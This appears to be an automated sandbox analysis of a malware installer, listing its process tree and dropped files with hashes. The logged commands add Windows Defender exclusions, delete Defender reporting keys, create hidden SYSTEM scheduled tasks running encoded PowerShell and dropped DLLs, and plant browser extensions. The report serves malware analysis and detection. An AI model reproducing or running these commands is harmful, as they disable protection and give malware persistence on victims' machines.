                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4072
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:840
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:448
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:4844
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                              3⤵
                                                                                                                PID:400
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:4760
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:848
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:3384
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:1052
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:2172
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:1984
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:1804
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /CREATE /TN "gljZLrjlf" /SC once /ST 13:47:00 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                            2⤵
                                                                                                                            • Creates scheduled task(s)
                                                                                                                            PID:4524
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /run /I /tn "gljZLrjlf"
                                                                                                                            2⤵
                                                                                                                              PID:4060
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /DELETE /F /TN "gljZLrjlf"
                                                                                                                              2⤵
                                                                                                                                PID:2480
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /CREATE /TN "mRaseIvrfxDtBOYKW" /SC once /ST 05:05:34 /RU "SYSTEM" /TR "\"C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\WXXxIUS.exe\" Ty /JGsite_idXOO 385118 /S" /V1 /F
                                                                                                                                2⤵
                                                                                                                                • Drops file in Windows directory
                                                                                                                                • Creates scheduled task(s)
                                                                                                                                PID:2388
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /run /I /tn "mRaseIvrfxDtBOYKW"
                                                                                                                                2⤵
                                                                                                                                  PID:4536
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                1⤵
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:3396
                                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                  2⤵
                                                                                                                                    PID:2420
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                  1⤵
                                                                                                                                    PID:396
                                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                                    1⤵
                                                                                                                                      PID:3344
                                                                                                                                    • C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\WXXxIUS.exe
                                                                                                                                      C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\WXXxIUS.exe Ty /JGsite_idXOO 385118 /S
                                                                                                                                      1⤵
                                                                                                                                      • Checks computer location settings
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Drops Chrome extension
                                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                                      • Drops file in System32 directory
                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:3864
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /DELETE /F /TN "bdnnguwcOLBYKAjbbA"
                                                                                                                                        2⤵
                                                                                                                                          PID:224
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                          2⤵
                                                                                                                                            PID:1140
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:4960
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                              2⤵
                                                                                                                                                PID:4436
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5012
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yvWovCiVU\FILiyD.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eGwAoTnpAObQfPU" /V1 /F
                                                                                                                                                  2⤵
                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:3464
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TN "eGwAoTnpAObQfPU2" /F /xml "C:\Program Files (x86)\yvWovCiVU\PYGmTQw.xml" /RU "SYSTEM"
                                                                                                                                                  2⤵
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:1072
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /END /TN "eGwAoTnpAObQfPU"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:3320
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /DELETE /F /TN "eGwAoTnpAObQfPU"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:788
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "ALvbXdfFiQJKEp" /F /xml "C:\Program Files (x86)\LCifMpYymZWU2\QASeAGu.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:4600
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "BIiSjOILpRnDn2" /F /xml "C:\ProgramData\WkkDuRgYrrqHXcVB\lwrJxPZ.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:4676
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "uCAhUOuaRBfXDMltv2" /F /xml "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\CUliUOE.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:1776
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "cLzKLCJHWfKFSkdKasF2" /F /xml "C:\Program Files (x86)\mVqQIGUXDOgrC\UUtxCJg.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:3248
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "FTXCzbcEvROqagNdd" /SC once /ST 03:33:33 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\IzRZTwSZebgYVSAl\UmQyGdug\MqSDsga.dll\",#1 /oDsite_idLiD 385118" /V1 /F
                                                                                                                                                      2⤵
                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:4412
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /run /I /tn "FTXCzbcEvROqagNdd"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:3192
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                        2⤵
                                                                                                                                                          PID:3688
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4224
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                            2⤵
                                                                                                                                                              PID:4756
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:232
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /DELETE /F /TN "mRaseIvrfxDtBOYKW"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:2868
                                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\UmQyGdug\MqSDsga.dll",#1 /oDsite_idLiD 385118
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:892
                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\UmQyGdug\MqSDsga.dll",#1 /oDsite_idLiD 385118
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                    PID:1468
                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                      schtasks /DELETE /F /TN "FTXCzbcEvROqagNdd"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4524

                                                                                                                                                                  Network

                                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                                  Replay Monitor

                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                  Downloads

                                                                                                                                                                  • C:\Program Files (x86)\LCifMpYymZWU2\QASeAGu.xml

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    f353ba8f0f114eb16df1cdb9bab158fb

                                                                                                                                                                    SHA1

                                                                                                                                                                    e0cda91680b45b090814b78b09a0465e4a3d05c8

                                                                                                                                                                    SHA256

                                                                                                                                                                    68e1dc103b294d8cee9981d4239a984ad7e2d4f96af6780b3af60227ab101593

                                                                                                                                                                    SHA512

                                                                                                                                                                    674d546e437f5a036f20d88c85349f8bbdd69258cd77dc8bc527555d3f16f92060a67ecf4a1b2dccc0a6436b1d98b13eda8652746903ee4ddb9888257ef98571

                                                                                                                                                                  • C:\Program Files (x86)\mVqQIGUXDOgrC\UUtxCJg.xml

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    340aaa0b228717acb1c906840bc79433

                                                                                                                                                                    SHA1

                                                                                                                                                                    e3feb185d14ea871cca2b43bb53575edc787ec6a

                                                                                                                                                                    SHA256

                                                                                                                                                                    8ebed4fcf29ea1c8c1ab07f8ac57ca7abf8268dfa05c279994eb29592c61d05a

                                                                                                                                                                    SHA512

                                                                                                                                                                    b0021f8b946c7d102bc023063a6179a66f141d0c8306a26a4ade0be0263d1b8de3239d5afb3a88d007398ebecc8303dfe13ee992c5c0ba88b589461b68a5d4a7

                                                                                                                                                                  • C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\CUliUOE.xml

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    a408b43efac1fd55d717f8b551d5c2bc

                                                                                                                                                                    SHA1

                                                                                                                                                                    d67468b60c0061ba544bc23a38735b95aca68e69

                                                                                                                                                                    SHA256

                                                                                                                                                                    eb1131fa8c6dcd1d1e1d8f85d3fb588247bcd819c4fde1acac980418dc2ec211

                                                                                                                                                                    SHA512

                                                                                                                                                                    c32439c393a4df6717d037aa437a09973b99cd85488a485f9a5e708cc15240cab85796e4eefa37a18ad11aa4b8434c412e05e3f51d0671f0a0f131da359ce12f

                                                                                                                                                                  • C:\Program Files (x86)\yvWovCiVU\PYGmTQw.xml

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    b8881c9455fe89270010ca9e2ad98bac

                                                                                                                                                                    SHA1

                                                                                                                                                                    6cce99000e805285028da569d11d00f7e182d0d8

                                                                                                                                                                    SHA256

                                                                                                                                                                    89aeb3c82b426f39451e8fb44433af758595d2ac75ebd9c77d9d77c9f4eed7ac

                                                                                                                                                                    SHA512

                                                                                                                                                                    e938ba22a55d4673264ce786e16377e14cc65f4105cfb4009a6ed719a0741acba1053be9a288bd053035d7a789cd6fa01fe1d7c6739cbfaa7222cf620d6dd5b4

                                                                                                                                                                  • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                                                    Filesize

                                                                                                                                                                    2.0MB

                                                                                                                                                                    MD5

                                                                                                                                                                    2d49df48ed31a3dcb8b997e1ad92882c

                                                                                                                                                                    SHA1

                                                                                                                                                                    314392a61873a08c097802cdda538566a842b3c0

                                                                                                                                                                    SHA256

                                                                                                                                                                    59c0185e3947d8cbeb6045aa8903811f51392bd877095d60a444ceae4948b723

                                                                                                                                                                    SHA512

                                                                                                                                                                    f3b238a84aeb4f3879d9f07b6fb7d458e5ec533eba21a5a1df71e772c2ea9eb270cfeefefa85b2f881c222f7e97755028ec112a13505108d0eb56418f90c2263

                                                                                                                                                                  • C:\ProgramData\WkkDuRgYrrqHXcVB\lwrJxPZ.xml

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    4e75baa0af9526a0133c0a106fbe597a

                                                                                                                                                                    SHA1

                                                                                                                                                                    343281fafdc1515ca7b1d8a6055eb3047df42168

                                                                                                                                                                    SHA256

                                                                                                                                                                    147460af36994b020736ea23f525914eaf85537df4c09d63195e0f9a257d2a8b

                                                                                                                                                                    SHA512

                                                                                                                                                                    56e8ce5b12c6d48248488381401d2645406bb2258f1642d11c78451c486504416e4d965d002db27b1d3caa0b3066cf247b4be1886625f82c7ca5117118173293

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                                                    Filesize

                                                                                                                                                                    187B

                                                                                                                                                                    MD5

                                                                                                                                                                    2a1e12a4811892d95962998e184399d8

                                                                                                                                                                    SHA1

                                                                                                                                                                    55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                    SHA256

                                                                                                                                                                    32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                    SHA512

                                                                                                                                                                    bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                                                                    Filesize

                                                                                                                                                                    136B

                                                                                                                                                                    MD5

                                                                                                                                                                    238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                    SHA1

                                                                                                                                                                    0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                    SHA256

                                                                                                                                                                    801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                    SHA512

                                                                                                                                                                    2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                                                                    Filesize

                                                                                                                                                                    150B

                                                                                                                                                                    MD5

                                                                                                                                                                    0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                    SHA1

                                                                                                                                                                    6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                    SHA256

                                                                                                                                                                    0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                    SHA512

                                                                                                                                                                    5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    10KB

                                                                                                                                                                    MD5

                                                                                                                                                                    35d6265d7d60b0ea2c9d54a1c4dc1bcb

                                                                                                                                                                    SHA1

                                                                                                                                                                    fa21da3c0fc7cc0aa8d0fe325503cc9dd5896dde

                                                                                                                                                                    SHA256

                                                                                                                                                                    63b2c43e0ae1eedc71c52f7153635dc2a8d4e016fc54d4ac969948fa10ac8e86

                                                                                                                                                                    SHA512

                                                                                                                                                                    664a92b8e53b729eaf730b1816b1a4c2c2cf9755430193ca8376c0020668f21cab247f3bafc5c7cf29130cba72446a17976192c747c5ef6c49f5b1f5e593fb60

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    34KB

                                                                                                                                                                    MD5

                                                                                                                                                                    63bef9ea3243fe0bd3f9a0492596c339

                                                                                                                                                                    SHA1

                                                                                                                                                                    36b9bb4ba5c2a7301446a0648b44727cd2aed4e6

                                                                                                                                                                    SHA256

                                                                                                                                                                    e603430c40644a5b6fa74d9e936e6f805369d3d563b7387c067957757561fb87

                                                                                                                                                                    SHA512

                                                                                                                                                                    cf21b1a32e389272e21311cf4ead6e6b9edbf438d4ef8f34043b616869c767d88841e57829930cae8bdbdbb81068c443d51c085385ce8a79e4e4e17babba4668

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                                    SHA1

                                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                                    SHA256

                                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                                    SHA512

                                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

                                                                                                                                                                    Filesize

                                                                                                                                                                    151B

                                                                                                                                                                    MD5

                                                                                                                                                                    bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                                                    SHA1

                                                                                                                                                                    9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                                                    SHA256

                                                                                                                                                                    b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                                                    SHA512

                                                                                                                                                                    3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    11KB

                                                                                                                                                                    MD5

                                                                                                                                                                    5080becde0db7d5838d0cebf6459bd19

                                                                                                                                                                    SHA1

                                                                                                                                                                    d1b7d5c85bd3c7941fdc4f2658b9f5446b13d049

                                                                                                                                                                    SHA256

                                                                                                                                                                    b6dee56884370638b9ddd1a8504941dbeccf53cd6c7c4015ab86dc4e63890ece

                                                                                                                                                                    SHA512

                                                                                                                                                                    fda7596e808653cbb805daa7a705b598fe8f8a8b63bf644bb7c42d244a3cfeb456f5cdbd6d8739ddc460e4354d6f1afd7618fd451df7ebfec09216eec748a039

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                    Filesize

                                                                                                                                                                    64B

                                                                                                                                                                    MD5

                                                                                                                                                                    50a8221b93fbd2628ac460dd408a9fc1

                                                                                                                                                                    SHA1

                                                                                                                                                                    7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

                                                                                                                                                                    SHA256

                                                                                                                                                                    46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

                                                                                                                                                                    SHA512

                                                                                                                                                                    27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS6A62.tmp\Install.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    6.4MB

                                                                                                                                                                    MD5

                                                                                                                                                                    3fd417b3da778b026c28f06c97e1d117

                                                                                                                                                                    SHA1

                                                                                                                                                                    708a3570340b723abc04794531460936b6304e75

                                                                                                                                                                    SHA256

                                                                                                                                                                    4abfa29e37a14483e5b54f42b79eaa209686db74ff48587a5dc7eff8567f6688

                                                                                                                                                                    SHA512

                                                                                                                                                                    e856dc0b190a771c93b0688704b75679ae6ce14bb52232269d24100a61824b7569349eded986f4464e7d94992cddd4bcfd98f8e6bd2799f3be1ca906b99cca86

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS6DBE.tmp\Install.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    6.7MB

                                                                                                                                                                    MD5

                                                                                                                                                                    b119ea556def66eaa9f751a650b45af0

                                                                                                                                                                    SHA1

                                                                                                                                                                    daf3fa0325b110183d0a233b4b0d1875f0b49ca8

                                                                                                                                                                    SHA256

                                                                                                                                                                    53c38771ea9986f418a48d89e4df5e82c84f1e71a4c242fc6e6ae3ba934cf6d4

                                                                                                                                                                    SHA512

                                                                                                                                                                    08dd919ce39af698051b4f156faa8d155c41cc0de3412ef152dc6e90cbdd5cb50109f57c47555925fd6d18816411b1c510ac642b9576f5f28540be8695ed46c4

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS6DBE.tmp\Install.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    4.4MB

                                                                                                                                                                    MD5

                                                                                                                                                                    9a9c3cb3b11b2a8d4c2423bdb150dae7

                                                                                                                                                                    SHA1

                                                                                                                                                                    140cce1d86fb20a0448aedfa6ba4a9fc2c05d846

                                                                                                                                                                    SHA256

                                                                                                                                                                    2239d97beca1ecf3e3aebf56aeb6fa704a715f62673dcd7cfaadb05f3c5528fa

                                                                                                                                                                    SHA512

                                                                                                                                                                    d62c863d4b91c1f58965e8ac5161f4042139cad46e1af9b3c8d43707d2e673297d009edd05319113aab7352afb4a13189f59e02d02d0a8a49fb52052fbef9475

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\SfPBazR.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    2.7MB

                                                                                                                                                                    MD5

                                                                                                                                                                    38ed182886ad72254460279a84304aa0

                                                                                                                                                                    SHA1

                                                                                                                                                                    6c5f4a5fc3798dc2adfe9f2bc2345a895f3f3706

                                                                                                                                                                    SHA256

                                                                                                                                                                    bf90b7eb9e87e4a3d4851d4ea8d1097e461ea0d63719c33ed3cdee20e366a27e

                                                                                                                                                                    SHA512

                                                                                                                                                                    db2f2fc79b877bb1766e75393b3952542c02e2e42e669ac2d8acdc0aa37e86d7d01fec8f76d290abae1a224444525b5a33745f34a53af1ff72cf49ca82f8e998

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rboa513a.rim.ps1

                                                                                                                                                                    Filesize

                                                                                                                                                                    60B

                                                                                                                                                                    MD5

                                                                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                    SHA1

                                                                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                    SHA256

                                                                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                    SHA512

